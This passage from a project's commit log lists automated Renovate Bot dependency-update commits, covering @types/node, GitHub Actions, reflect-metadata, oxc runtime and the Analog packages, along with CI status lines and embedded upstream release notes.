| [@types/node](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/master/types/node) ([source](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/node)) | devDependencies | major | [`20.19.39` -> `24.12.2`](https://renovatebot.com/diffs/npm/@types%2fnode/20.19.39/24.12.2) |

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #29
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-05 23:26:40 +02:00
APF Portal Bot 9fbf37c2ef chore(deps): update actions/upload-artifact action to v7 (#28)
CI / check (push) Successful in 1m14s
CI / commits (push) Has been skipped
CI / scan (push) Failing after 1m17s
CI / a11y (push) Successful in 1m59s
CI / perf (push) Successful in 4m3s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [actions/upload-artifact](https://github.com/actions/upload-artifact) | action | major | `v4` -> `v7` |

---

### Release Notes

<details>
<summary>actions/upload-artifact (actions/upload-artifact)</summary>

### [`v7`](https://github.com/actions/upload-artifact/compare/v6...v7)

[Compare Source](https://github.com/actions/upload-artifact/compare/v6...v7)

### [`v6`](https://github.com/actions/upload-artifact/compare/v5...v6)

[Compare Source](https://github.com/actions/upload-artifact/compare/v5...v6)

### [`v5`](https://github.com/actions/upload-artifact/compare/v4...v5)

[Compare Source](https://github.com/actions/upload-artifact/compare/v4...v5)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #28
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-05 23:26:09 +02:00
APF Portal Bot 4244f63831 chore(deps): update actions/setup-node action to v6 (#27)
CI / check (push) Successful in 1m0s
CI / commits (push) Has been skipped
CI / scan (push) Failing after 2m13s
CI / a11y (push) Successful in 1m58s
CI / perf (push) Successful in 3m21s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [actions/setup-node](https://github.com/actions/setup-node) | action | major | `v4` -> `v6` |

---

### Release Notes

<details>
<summary>actions/setup-node (actions/setup-node)</summary>

### [`v6`](https://github.com/actions/setup-node/compare/v5...v6)

[Compare Source](https://github.com/actions/setup-node/compare/v5...v6)

### [`v5`](https://github.com/actions/setup-node/compare/v4...v5)

[Compare Source](https://github.com/actions/setup-node/compare/v4...v5)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #27
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-05 23:25:41 +02:00
APF Portal Bot adc14c14e0 chore(deps): update actions/checkout action to v6 (#26)
CI / commits (push) Has been skipped
CI / check (push) Successful in 1m16s
CI / scan (push) Failing after 1m25s
CI / a11y (push) Successful in 1m0s
CI / perf (push) Successful in 2m38s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [actions/checkout](https://github.com/actions/checkout) | action | major | `v4` -> `v6` |

---

### Release Notes

<details>
<summary>actions/checkout (actions/checkout)</summary>

### [`v6`](https://github.com/actions/checkout/blob/HEAD/CHANGELOG.md#v602)

[Compare Source](https://github.com/actions/checkout/compare/v5...v6)

- Fix tag handling: preserve annotations and explicit fetch-tags by [@&#8203;ericsciple](https://github.com/ericsciple) in https://github.com/actions/checkout/pull/2356

### [`v5`](https://github.com/actions/checkout/blob/HEAD/CHANGELOG.md#v501)

[Compare Source](https://github.com/actions/checkout/compare/v4...v5)

- Port v6 cleanup to v5 by [@&#8203;ericsciple](https://github.com/ericsciple) in https://github.com/actions/checkout/pull/2301

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #26
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-05 23:25:10 +02:00
APF Portal Bot c86804effa fix(deps): update dependency reflect-metadata to ^0.2.0 (#25)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 2m24s
CI / check (push) Successful in 2m55s
CI / a11y (push) Successful in 1m5s
CI / perf (push) Successful in 3m41s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [reflect-metadata](http://rbuckton.github.io/reflect-metadata) ([source](https://github.com/rbuckton/reflect-metadata)) | dependencies | minor | [`^0.1.13` -> `^0.2.0`](https://renovatebot.com/diffs/npm/reflect-metadata/0.1.14/0.2.2) |

---

### Release Notes

<details>
<summary>rbuckton/reflect-metadata (reflect-metadata)</summary>

### [`v0.2.2`](https://github.com/rbuckton/reflect-metadata/compare/v0.2.1...ca9650a46e3dfa32d0b384936eed539bd9109b12)

[Compare Source](https://github.com/rbuckton/reflect-metadata/compare/v0.2.1...ca9650a46e3dfa32d0b384936eed539bd9109b12)

### [`v0.2.1`](https://github.com/microsoft/reflect-metadata/releases/tag/v0.2.1)

[Compare Source](https://github.com/rbuckton/reflect-metadata/compare/v0.2.0...v0.2.1)

#### What's Changed

- Fix stack overflow crash in isProviderFor by [@&#8203;rbuckton](https://github.com/rbuckton) in https://github.com/rbuckton/reflect-metadata/pull/155
- Update main to v0.2.1 by [@&#8203;rbuckton](https://github.com/rbuckton) in https://github.com/rbuckton/reflect-metadata/pull/156

**Full Changelog**: https://github.com/rbuckton/reflect-metadata/compare/v0.2.0...v0.2.1

### [`v0.2.0`](https://github.com/microsoft/reflect-metadata/releases/tag/v0.2.0): reflect-metadata 0.2.0

[Compare Source](https://github.com/rbuckton/reflect-metadata/compare/v0.1.14...v0.2.0)

#### What's Changed

- Add /lite and /no-conflict exports by [@&#8203;rbuckton](https://github.com/rbuckton) in https://github.com/rbuckton/reflect-metadata/pull/144
- No dynamic evaluation in `/lite` mode by [@&#8203;rbuckton](https://github.com/rbuckton) in https://github.com/rbuckton/reflect-metadata/pull/149

**Full Changelog**: https://github.com/rbuckton/reflect-metadata/compare/v0.1.14...v0.2.0

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #25
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-05 23:17:25 +02:00
APF Portal Bot 4f6765c5c1 chore(deps): update dependency @oxc-project/runtime to ^0.129.0 (#22)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 2m13s
CI / check (push) Successful in 3m10s
CI / a11y (push) Successful in 1m7s
CI / perf (push) Successful in 3m25s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@oxc-project/runtime](https://oxc.rs) ([source](https://github.com/oxc-project/oxc/tree/HEAD/npm/runtime)) | devDependencies | minor | [`^0.115.0` -> `^0.129.0`](https://renovatebot.com/diffs/npm/@oxc-project%2fruntime/0.115.0/0.129.0) |

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #22
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-05 23:07:09 +02:00
APF Portal Bot 214970a63e chore(deps): update analog monorepo to ~2.5.0 (#21)
CI / commits (push) Has been skipped
CI / scan (push) Failing after 2m4s
CI / check (push) Successful in 2m23s
CI / a11y (push) Successful in 53s
CI / perf (push) Successful in 3m1s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@analogjs/vite-plugin-angular](https://github.com/analogjs/analog) | devDependencies | minor | [`~2.1.2` -> `~2.5.0`](https://renovatebot.com/diffs/npm/@analogjs%2fvite-plugin-angular/2.1.3/2.5.0) |
| [@analogjs/vitest-angular](https://analogjs.org) ([source](https://github.com/analogjs/analog)) | devDependencies | minor | [`~2.1.2` -> `~2.5.0`](https://renovatebot.com/diffs/npm/@analogjs%2fvitest-angular/2.1.3/2.5.0) |

---

### Release Notes

<details>
<summary>analogjs/analog (@&#8203;analogjs/vite-plugin-angular)</summary>

### [`v2.5.0`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#250-2026-04-28)

[Compare Source](https://github.com/analogjs/analog/compare/v2.4.10...v2.5.0)

##### Bug Fixes

- add angular-compiler to publish script ([5c86802](https://github.com/analogjs/analog/commit/5c86802ab4e3858414de47f84039181c846c7012))
- **angular-compiler:** add type-only import elision to angular compiler ([#&#8203;2249](https://github.com/analogjs/analog/issues/2249)) ([f66f042](https://github.com/analogjs/analog/commit/f66f0424afd815b91abbf01528c66eeb3c846dc0))
- **angular-compiler:** auto-import decorator classes for signal api downleveling in jit ([d8a6265](https://github.com/analogjs/analog/commit/d8a62650878e537eac70bdf1285962cf09d6e044))
- **angular-compiler:** construct setClassMetadata entries as plain objects ([546f427](https://github.com/analogjs/analog/commit/546f427e5495232987d497d5ebfe08cad20f6d51))
- **angular-compiler:** correct signal aliases, query refs, inheritance ([d57bc61](https://github.com/analogjs/analog/commit/d57bc61f1736ad66e1b5fabf479e058f63f58484))
- **angular-compiler:** dedupe declarations across imports and module exports ([919009a](https://github.com/analogjs/analog/commit/919009a744c62c1abffdcd7dc9f063d80900c05d))
- **angular-compiler:** default contentChild() descendants to true ([4849312](https://github.com/analogjs/analog/commit/4849312e327aa9363a6f024269981d2de93f284a))
- **angular-compiler:** defensive BinaryOperator map for Angular v19/v20 ([1a91f93](https://github.com/analogjs/analog/commit/1a91f932cc353efff9caf907bd48ceecc4480635))
- **angular-compiler:** defensive isAssignment check for Angular 20.0.0 ([8583dd1](https://github.com/analogjs/analog/commit/8583dd1ee3d5a61850975d45b677f423fb772895))
- **angular-compiler:** emit /*@&#8203;**PURE***/ on Ivy field assignments ([c0d4f69](https://github.com/analogjs/analog/commit/c0d4f696110becded1b90c77dd0d5b84f46ac2de))
- **angular-compiler:** emit bracket access for non-identifier field keys ([956c703](https://github.com/analogjs/analog/commit/956c703af97b1628b93f93fdd688910178a4dd5d))
- **angular-compiler:** emit defer deps as import().then(m => m.X) ([56d9fd5](https://github.com/analogjs/analog/commit/56d9fd580c25a77cde285876babffc6564a12543))
- **angular-compiler:** emit invalidfactory for explicit import type di tokens ([2f2204f](https://github.com/analogjs/analog/commit/2f2204f2883677636a7d4678594d6bf2b6c4f871))
- **angular-compiler:** extract output() alias in registry ([e7b1d0d](https://github.com/analogjs/analog/commit/e7b1d0d71fe2332b0eedf1f97bd76e3d34655308))
- **angular-compiler:** forward [@&#8203;Injectable](https://github.com/Injectable) provider config to compileInjectable ([ed9c264](https://github.com/analogjs/analog/commit/ed9c2641e36bc503b1611551b2d265f236b0a959))
- **angular-compiler:** hoist helpers via appendLeft when insertPos is 0 ([8a15184](https://github.com/analogjs/analog/commit/8a15184d423b0818c3c6d9f7429095554eecbd05))
- **angular-compiler:** hoisted helpers survive type-only import elision ([99e1ba4](https://github.com/analogjs/analog/commit/99e1ba48d8b08f8eb8de53fdae5801ea7e909d7a))
- **angular-compiler:** hostDirectives, emitExpr safety, TDZ hoisting, misc compilation fixes ([#&#8203;2255](https://github.com/analogjs/analog/issues/2255)) ([796e3e0](https://github.com/analogjs/analog/commit/796e3e09b0e7e5055fed2f1c765cd60a35c6d5b2))
- **angular-compiler:** improve handling of type elision for imports/exports ([#&#8203;2257](https://github.com/analogjs/analog/issues/2257)) ([1605a7b](https://github.com/analogjs/analog/commit/1605a7b6eb0870f9bb09e79c07debf2ac63984c4))
- **angular-compiler:** make hoisting dependency-aware to prevent TDZ ([#&#8203;2286](https://github.com/analogjs/analog/issues/2286)) ([f33f6b5](https://github.com/analogjs/analog/commit/f33f6b514cd204df79e7661058fc79312e561324))
- **angular-compiler:** merge styleUrl into existing inline styles array ([56b109f](https://github.com/analogjs/analog/commit/56b109f2c0c8c7e79f5116758b501519a610380d))
- **angular-compiler:** parse signal query read/descendants options ([175356c](https://github.com/analogjs/analog/commit/175356c0f45a90bd6a159c0c6ce43b04ef54b3fe))
- **angular-compiler:** preserve [@&#8203;Injectable](https://github.com/Injectable) in JIT mode for providedIn registration ([1a9745c](https://github.com/analogjs/analog/commit/1a9745c41745d5c9c3c538b905b9a3861dd5e421))
- **angular-compiler:** preserve constructor di token imports from elision ([#&#8203;2270](https://github.com/analogjs/analog/issues/2270)) ([9de43fa](https://github.com/analogjs/analog/commit/9de43fa35ee1926170d936d848098c62fafd7c74))
- **angular-compiler:** preserve ivy fields when lowering trailing class field ([79cd5c1](https://github.com/analogjs/analog/commit/79cd5c1a1a97c5964ffba2a53a8fd0769d12b381))
- **angular-compiler:** preserve operator precedence in emitted binary expressions ([#&#8203;2275](https://github.com/analogjs/analog/issues/2275)) ([e2dfb5a](https://github.com/analogjs/analog/commit/e2dfb5a9211b7f7718eb10e953379271f6ca5597))
- **angular-compiler:** provide flat defer fields on Angular v17 ([70a4d9b](https://github.com/analogjs/analog/commit/70a4d9b20dd10db0261d22e81d46640de323c8da))
- **angular-compiler:** reject ambiguous union/intersection DI tokens ([c379707](https://github.com/analogjs/analog/commit/c3797079ec4b6b92451d9a642524ac5f92cc07a9))
- **angular-compiler:** set componentMeta.interpolation for partial mode on v19/v20 ([a09ff88](https://github.com/analogjs/analog/commit/a09ff889e2b93a6a6c1c0839884e1f91f537497b))
- **angular-compiler:** skip arrow fn types when finding assignment = … ([#&#8203;2274](https://github.com/analogjs/analog/issues/2274)) ([992e180](https://github.com/analogjs/analog/commit/992e1803937db2fac381940982cc2f1141ddf3ff))
- **angular-compiler:** strip ESM .js extension when probing dts re-exports ([d1f65ef](https://github.com/analogjs/analog/commit/d1f65efb69f2972279425c47ee63b73edeb980ae))
- **angular-compiler:** track hasTransform on signal inputs in registry ([fd8acd4](https://github.com/analogjs/analog/commit/fd8acd49ebf2f80ee7b6e861fca5ad4578cfa78b))
- **angular-compiler:** unwrap forwardRef inside [@&#8203;Inject](https://github.com/Inject) decorator ([dcb221a](https://github.com/analogjs/analog/commit/dcb221a5cef963ee97feee80f8ac77ecd52393da))
- **angular-compiler:** use original export name for aliased defer imports ([6ab34dd](https://github.com/analogjs/analog/commit/6ab34dd0be10784b26e2117e4dd54fb21ed10f50))
- **angular-compiler:** wrap switch cases in blocks for biome lint ([8fc75d9](https://github.com/analogjs/analog/commit/8fc75d9f6a55e0592aae4a72c831c4f6f951bfea))
- **angular-compiler:** wrap Write\*Expr emissions in parens for nesting precedence ([48f80e4](https://github.com/analogjs/analog/commit/48f80e422bfe58b30810f5a850af4accf171cd94))
- **content:** scope slash-containing slugs to file's subdirectory ([#&#8203;2318](https://github.com/analogjs/analog/issues/2318)) ([ee69df7](https://github.com/analogjs/analog/commit/ee69df77415582d03f071080d59dc1766419da4c))
- correct release config replacement file path ([c91ce2d](https://github.com/analogjs/analog/commit/c91ce2dc2fb5e49991acf16a6fd2fb147835b579))
- **platform:** reset cached tViews between SSR requests for correct i18n locale switching ([#&#8203;2301](https://github.com/analogjs/analog/issues/2301)) ([a29465d](https://github.com/analogjs/analog/commit/a29465d31743a8871bc93ed3d62d9649d5d40a71))
- **router:** reset cached tViews between SSR requests for correct i18n locale switching ([#&#8203;2295](https://github.com/analogjs/analog/issues/2295)) ([d2ce3e5](https://github.com/analogjs/analog/commit/d2ce3e5f1738fd586a39b1a9d87b668cd1971e38))
- **storybook-angular:** forward applyDecorators in testing ([#&#8203;2236](https://github.com/analogjs/analog/issues/2236)) ([31d996c](https://github.com/analogjs/analog/commit/31d996c035f7a6b9e533a39f735176663fcc07d3))
- **storybook-angular:** use oxc config instead of esbuild for Vite 8 ([#&#8203;2313](https://github.com/analogjs/analog/issues/2313)) ([ef16e7e](https://github.com/analogjs/analog/commit/ef16e7e9cf1676b37bbbc781f60789ff1e5811ff))
- **vite-plugin-angular,angular-compiler:** support Vite 6-8 and fix type-elision helper loss ([0aa26e0](https://github.com/analogjs/analog/commit/0aa26e06b99cc52b6e2b09c69602d44c62a0fdee))
- **vite-plugin-angular:** add Vite Plugin Registry compatibility ([#&#8203;2314](https://github.com/analogjs/analog/issues/2314)) ([c3444d1](https://github.com/analogjs/analog/commit/c3444d105f8b924cd815f4b8168eaa9575e18035))
- **vite-plugin-angular:** bypass server.fs restrictions on ?raw template imports ([#&#8203;2259](https://github.com/analogjs/analog/issues/2259)) ([87512a2](https://github.com/analogjs/analog/commit/87512a254698ce78439d0c79eb86a7784dea0c17))
- **vite-plugin-angular:** fix vitest sourcemap plugin for Vite 7 ([74d52e7](https://github.com/analogjs/analog/commit/74d52e7f72d01e972df1c182f5c11c6c70e033a4))
- **vite-plugin-angular:** handle .ts files not in Angular program ([#&#8203;2265](https://github.com/analogjs/analog/issues/2265)) ([fda852d](https://github.com/analogjs/analog/commit/fda852d389b1506d8969ff05c4c610b6673b7888))
- **vite-plugin-angular:** honor Vitest test.css semantics to skip CSS preprocessing ([#&#8203;2298](https://github.com/analogjs/analog/issues/2298)) ([d7bd331](https://github.com/analogjs/analog/commit/d7bd3315543488665c4a9c1cfd0c0a3426552986))
- **vite-plugin-angular:** keep barrel registry in sync at dev time ([f5f7ef1](https://github.com/analogjs/analog/commit/f5f7ef1e013b8352d1875764a74337f18ced271f))
- **vite-plugin-angular:** let CSS ?inline imports flow through Vite's pipeline ([#&#8203;2311](https://github.com/analogjs/analog/issues/2311)) ([ae803bb](https://github.com/analogjs/analog/commit/ae803bb410638b42436d173ce53b7bb81040988a))
- **vite-plugin-angular:** return empty CSS instead of raw SCSS when test.css is disabled ([#&#8203;2306](https://github.com/analogjs/analog/issues/2306)) ([eef84de](https://github.com/analogjs/analog/commit/eef84de75f5c2ea14a753afe6c2920fb27fc1b35))
- **vite-plugin-angular:** route template/style imports through virtual module ids ([#&#8203;2287](https://github.com/analogjs/analog/issues/2287)) ([98cfe64](https://github.com/analogjs/analog/commit/98cfe649c3a72c9e1a6daf97cc5ba6eb9f825c5f))
- **vite-plugin-angular:** stop matching .tsrx in TS extension regex ([2d23b19](https://github.com/analogjs/analog/commit/2d23b197f30146a0822bdf9cec6559b44d2f8135))
- **vite-plugin-angular:** use empty string instead of undefined for mapRoot/sourceRoot overrides (beta) ([#&#8203;2322](https://github.com/analogjs/analog/issues/2322)) ([cfd6cd6](https://github.com/analogjs/analog/commit/cfd6cd660f04cd98eae7a0dd231ce8ad793ed4d5))
- **vite-plugin-angular:** use virtual modules for external JIT styles ([#&#8203;2283](https://github.com/analogjs/analog/issues/2283)) ([add0337](https://github.com/analogjs/analog/commit/add033798aa82e806dbe94cb66dab8bee53ba792))
- **vitest-angular:** clean generated snapshot ids ([#&#8203;2238](https://github.com/analogjs/analog/issues/2238)) ([ac933ba](https://github.com/analogjs/analog/commit/ac933ba18321c5536a59ccd067fefdd769e59c9c))
- **vitest-angular:** normalize snapshot whitespace ([#&#8203;2237](https://github.com/analogjs/analog/issues/2237)) ([d1ba31f](https://github.com/analogjs/analog/commit/d1ba31f90b7515ba49e7cbe27857b5bb983d8ceb))

##### Features

- add [@&#8203;analogjs/angular-compiler](https://github.com/analogjs/angular-compiler) package ([#&#8203;2221](https://github.com/analogjs/analog/issues/2221)) ([d2dfbe0](https://github.com/analogjs/analog/commit/d2dfbe0b599d4739d62fffb3f7b3740e84eb31d6))
- **angular-compiler:** add partial compilation mode for library support ([#&#8203;2269](https://github.com/analogjs/analog/issues/2269)) ([bfe0c62](https://github.com/analogjs/analog/commit/bfe0c62d86fd6286942d06eff41f06e7db314357))
- **angular-compiler:** expand tuple barrel imports for spartan-style libs ([bf4595f](https://github.com/analogjs/analog/commit/bf4595f19f03bedcbb0ba8fa80376b68285a90f5))
- **angular-compiler:** resolve ${var} interpolation in metadata strings ([79ade33](https://github.com/analogjs/analog/commit/79ade33e96e8f07316b7231c97837d2384fdb96d))
- **angular-compiler:** structured debug logging via obug ([b155f53](https://github.com/analogjs/analog/commit/b155f53b9fd207c09fccca019d3939e891c344a8))
- **angular-compiler:** support useDefineForClassFields: false ([#&#8203;2267](https://github.com/analogjs/analog/issues/2267)) ([f0a5908](https://github.com/analogjs/analog/commit/f0a59081593fdfec28656c719f27117f3f0bd325))
- **astro-angular:** add support for client hydration with Angular components ([#&#8203;2212](https://github.com/analogjs/analog/issues/2212)) ([d36de5b](https://github.com/analogjs/analog/commit/d36de5baa8fa70341c0d67731d5ba32fe70ea743))
- **docs:** add AI integrations guide ([#&#8203;2234](https://github.com/analogjs/analog/issues/2234)) ([545f8fc](https://github.com/analogjs/analog/commit/545f8fc5c714e97ee784ed9f6db0052eb2ee086b))
- improve hmr with dynamic ivy field copying and directive/pipe support ([d568bf2](https://github.com/analogjs/analog/commit/d568bf26b8cf562cb6aebffddadb01b827c40ae8))
- **platform:** add shiki skipLangs option for analog v2 ([#&#8203;2282](https://github.com/analogjs/analog/issues/2282)) ([d6e932c](https://github.com/analogjs/analog/commit/d6e932c0d4031d45bc259b89c7b4bc797e5099aa))
- **platform:** passthrough fastCompile and fastCompileMode to vite-plugin-angular ([f085ecc](https://github.com/analogjs/analog/commit/f085ecc0389a2bb5e94bd9391f551e960c378e1c))
- resolve ngmodule exports to correct sub-entry import paths ([07bc3d1](https://github.com/analogjs/analog/commit/07bc3d141104082664a55cf928918194f9ba8850))
- runtime i18n support with $localize ([#&#8203;2268](https://github.com/analogjs/analog/issues/2268)) ([7dbc7df](https://github.com/analogjs/analog/commit/7dbc7dfa65140b63c7e0958a3c5da49963ea9b05))
- **vite-plugin-angular:** add globalThis external-registry hook for fastCompile ([aabb5ab](https://github.com/analogjs/analog/commit/aabb5abcad5c5eb0ceaf34e5234c9ad42aac29d5))
- **vite-plugin-nitro:** add recursive option to PrerenderContentDir ([#&#8203;2318](https://github.com/analogjs/analog/issues/2318)) ([42a5524](https://github.com/analogjs/analog/commit/42a5524acf0a2860758fc1a11997b3d15215a793))

##### Performance Improvements

- **angular-compiler:** optimize using oxc, add tests, consolidate strings ([#&#8203;2260](https://github.com/analogjs/analog/issues/2260)) ([64a4696](https://github.com/analogjs/analog/commit/64a469627926e2125cf45b95925fecb4919e13a7))

#### [2.4.10](https://github.com/analogjs/analog/compare/v2.4.9...v2.4.10) (2026-04-21)

##### Bug Fixes

- **vite-plugin-angular:** let CSS ?inline imports flow through Vite's native pipeline ([#&#8203;2310](https://github.com/analogjs/analog/issues/2310)) ([07f8b47](https://github.com/analogjs/analog/commit/07f8b471628cdaa6e3c452a24ff965c06b4d4355))

#### [2.4.9](https://github.com/analogjs/analog/compare/v2.4.8...v2.4.9) (2026-04-20)

##### Bug Fixes

- **content:** scope slash-containing slugs to file's subdirectory ([#&#8203;2318](https://github.com/analogjs/analog/issues/2318)) ([ee69df7](https://github.com/analogjs/analog/commit/ee69df77415582d03f071080d59dc1766419da4c))

##### Features

- **vite-plugin-nitro:** add recursive option to PrerenderContentDir ([#&#8203;2318](https://github.com/analogjs/analog/issues/2318)) ([42a5524](https://github.com/analogjs/analog/commit/42a5524acf0a2860758fc1a11997b3d15215a793))

### [`v2.4.10`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#2410-2026-04-21)

[Compare Source](https://github.com/analogjs/analog/compare/v2.4.9...v2.4.10)

##### Bug Fixes

- **vite-plugin-angular:** let CSS ?inline imports flow through Vite's native pipeline ([#&#8203;2310](https://github.com/analogjs/analog/issues/2310)) ([07f8b47](https://github.com/analogjs/analog/commit/07f8b471628cdaa6e3c452a24ff965c06b4d4355))

### [`v2.4.9`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#249-2026-04-20)

[Compare Source](https://github.com/analogjs/analog/compare/v2.4.8...v2.4.9)

##### Bug Fixes

- **content:** scope slash-containing slugs to file's subdirectory ([#&#8203;2318](https://github.com/analogjs/analog/issues/2318)) ([ee69df7](https://github.com/analogjs/analog/commit/ee69df77415582d03f071080d59dc1766419da4c))

##### Features

- **vite-plugin-nitro:** add recursive option to PrerenderContentDir ([#&#8203;2318](https://github.com/analogjs/analog/issues/2318)) ([42a5524](https://github.com/analogjs/analog/commit/42a5524acf0a2860758fc1a11997b3d15215a793))

### [`v2.4.8`](https://github.com/analogjs/analog/releases/tag/v2.4.8)

[Compare Source](https://github.com/analogjs/analog/compare/v2.4.7...v2.4.8)

##### Bug Fixes

- **vite-plugin-angular:** honor Vitest test.css semantics to skip CSS preprocessing ([#&#8203;2298](https://github.com/analogjs/analog/issues/2298)) ([90ac242](https://github.com/analogjs/analog/commit/90ac242b3d03dd6745b9a957bd6bc7d8c7eaeb1d))

### [`v2.4.7`](https://github.com/analogjs/analog/releases/tag/v2.4.7)

[Compare Source](https://github.com/analogjs/analog/compare/v2.4.6...v2.4.7)

##### Bug Fixes

- **vite-plugin-angular:** route template/style imports through virtual module ids ([#&#8203;2287](https://github.com/analogjs/analog/issues/2287)) ([6ae244c](https://github.com/analogjs/analog/commit/6ae244c421b54a2834f58bc3ee8a51958f8d3347))

### [`v2.4.6`](https://github.com/analogjs/analog/releases/tag/v2.4.6)

[Compare Source](https://github.com/analogjs/analog/compare/v2.4.5...v2.4.6)

##### Bug Fixes

- **vite-plugin-angular:** use virtual modules for external JIT styles ([#&#8203;2283](https://github.com/analogjs/analog/issues/2283)) ([358faf7](https://github.com/analogjs/analog/commit/358faf70499680f29f60e05bcaa61055f0f52557))

### [`v2.4.5`](https://github.com/analogjs/analog/releases/tag/v2.4.5)

[Compare Source](https://github.com/analogjs/analog/compare/v2.4.4...v2.4.5)

##### Bug Fixes

